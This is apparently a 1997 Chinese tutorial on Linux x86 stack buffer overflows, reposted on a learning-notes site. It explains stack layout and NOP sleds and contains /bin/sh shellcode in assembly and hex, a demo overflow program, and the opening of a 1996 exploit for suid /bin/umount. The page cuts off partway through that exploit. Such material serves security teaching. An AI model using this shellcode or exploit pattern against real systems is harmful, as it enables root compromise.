转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 数据库 >> SyBase >> 正文
Linux缓冲区溢出         ★★★★

Linux缓冲区溢出

作者:闵涛 文章来源:闵涛的学习笔记 点击数:1445 更新时间:2009/4/22 23:07:31
本文内容仅用于教育目的。作者不保证内容的正确性。任何情况下,作者不
为由于使用文中内容而引起的任何破坏或问题负责。使用本文内容的风险由使用
者自己承担。

                     计算机应用工作室1997年版权所有

            ##########################################
                缓冲区溢出(buffer overflow)机理分析
            ##########################################

                            Only 1997.7.19
                      Only.bbs@bbs.sjtu.edu.cn

1.什么是缓冲区溢出?
~~~~~~~~~~~~~~~~~~~
    buffer overflow,buffer overrun,smash the stack,trash the stack,
scribble the stack, mangle the stack,spam,alias bug,fandango on core,
memory leak,precedence lossage,overrun screw...指的是一种系统攻击的手
段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程
序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区
溢出进行的攻击占所有系统攻击总数的80%以上。
    造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程
序:

example1.c
----------------------------------------------------------------------
void function(char *str) {
   char buffer[16];

   strcpy(buffer,str);
}
----------------------------------------------------------------------

    上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度
大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的
标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的
getc(),fgetc(),getchar()等。
    当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault
错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行
一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限
的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。
    请注意,如果没有特别说明,下面的内容都假设用户使用的平台为基于Intel
x86 CPU的Linux系统。对其它平台来说,本文的概念同样适用,但程序要做相应
修改。

2.制造缓冲区溢出
~~~~~~~~~~~~~~~~
    一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程
序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈
来存放。在内存中,它们的位置是:

                          +------------------+  内存低端
                          |       程序段     |
                          |------------------|
                          |       数据段     |
                          |------------------|
                          |        堆栈      |
                          +------------------+  内存高端

    当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后
保存指令寄存器(IP)中的内容做为返回地址(RET);第三个放入堆栈的是基址寄
存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变
量留出一定空间,把SP减去适当的数值。以下面程序为例:

example2.c
----------------------------------------------------------------------
void function(char *str) {
   char buffer[16];

   strcpy(buffer,str);
}

void main() {
  char large_string[256];
  int i;

  for( i = 0; i < 255; i++)
    large_string[i] = ''''A'''';

  function(large_string);
}
----------------------------------------------------------------------

    当调用函数function()时,堆栈如下:

低内存端       buffer       sfp   ret  *str         高内存端
<------  [               ][    ][    ][    ]
栈顶                                                    栈底

    不用说,程序执行的结果是"Segmentation fault (core dumped)"或类似的
出错信息。因为从buffer开始的256个字节都将被*str的内容''''A''''覆盖,包括sfp,
ret,甚至*str。''''A''''的十六进值为0x41,所以函数的返回地址变成了0x41414141,
这超出了程序的地址空间,所以出现段错误。

3.通过缓冲区溢出获得用户SHELL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    如果在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内
容,使它指向缓冲区的开头,就可以达到运行其它指令的目的。

低内存端       buffer       sfp   ret  *str         高内存端
<------  [               ][    ][    ][    ]
栈顶      ^                        |                    栈底
          |________________________|


通常,我们想运行的是一个用户shell。下面是一段写得很漂亮的shell代码

example3.c
----------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
----------------------------------------------------------------------

将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串。

example4.c
----------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
----------------------------------------------------------------------

这个程序所做的是,在large_string中填入buffer的地址,并把shell代码
放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢
出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试从
strcpy()中返回时,就会转而执行shell。

4.利用缓冲区溢出进行的系统攻击
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在那儿放
入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过
反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进
行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码
前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令
后程序将激活shell进程。这样就大大增加了猜中的可能性。

低内存端 buffer sfp ret *str 高内存端
<------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]
栈顶 ^ | 栈底
|_______________________________|

图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用
了系统程序mount的漏洞:

example5.c
----------------------------------------------------------------------
/* Mount Exploit for Linux, Jul 30 1996

Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
__asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

int i;
int ofs = DEFAULT_OFFSET;

buff = malloc(4096);
if(!buff)
{
printf("can''''t allocate memory\n");
exit(0);
}
ptr = buff;

/* fill start of buffer with nops */

[1] [2]  下一页


没有相关教程
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · Sql Server  · MySql
    · Access  · ORACLE
    · SyBase  · 其他
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台